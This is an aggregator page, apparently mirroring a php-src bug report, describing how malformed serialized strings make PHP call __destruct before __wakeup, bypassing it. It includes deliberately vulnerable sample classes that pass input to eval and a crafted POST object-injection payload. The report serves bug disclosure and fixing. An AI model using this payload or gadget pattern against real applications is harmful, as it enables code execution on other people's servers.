php / php/php-src

unserialize __wakeup bypass

オープン
#9,618 コメント 4 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

Bug Category: Engine Category: Serialization Extension: standard Status: Verified
主要言語
C
スター
40.4k
フォーク
8.2k
平均マージ
2日 13時間
マージ済み PR(30日)
96

説明

Description

The following code:

<?php

class A
{
    public $info;
    private $end = "1";

    public function __destruct()
    {
        $this->info->func();
    }
}

class B
{
    public $end;

    public function __wakeup()
    {
        $this->end = "exit();";
        echo '__wakeup';
    }

    public function __call($method, $args)
    {
        eval('echo "aaaa";' . $this->end . 'echo "bbb"');
    }
}

unserialize($_POST['data']);

I found an interesting bug. When the deserialized string contains a variable name with the wrong string length, the deserialization continues, but the __destruct() function is called before __wakeup is called. This way you can bypass __wakeup().

I've tested it on some versions and I'm not sure if others have this problem, it's also useful in the latest version.

  • 7.4.x -7.4.30
  • 8.0.x

[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}

This event also is triggered when

  • delete )
  • Inconsistent number of class attributes
  • The length of the attribute key does not match.
  • The length of the attribute value does not match.
  • delete ;

Expected Results:

aaaa bbb __wakeup

PHP Version

PHP 7.4.x PHP8.0.x

Operating System

Windows/Linux

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

調査の方向性

まず、提示されたPOSTデータを記載されているPHP 7.4および8.0のバージョンで再現し、次にB::__wakeup()とA::__destruct()周辺のunserializeのライフサイクルを追跡します。観測された順序を期待される出力と比較し、テスト可能なライフサイクル不変条件を特定してください。このissueではソースファイルは特定されておらず、望ましい修正も指定されていません。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
php
領域
backend, security
issue の種類
バグ
難易度
5/5
見積もり時間
1週間以上
活発さ
停滞
明瞭さ
説明が足りない
初心者へのやさしさ
25/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。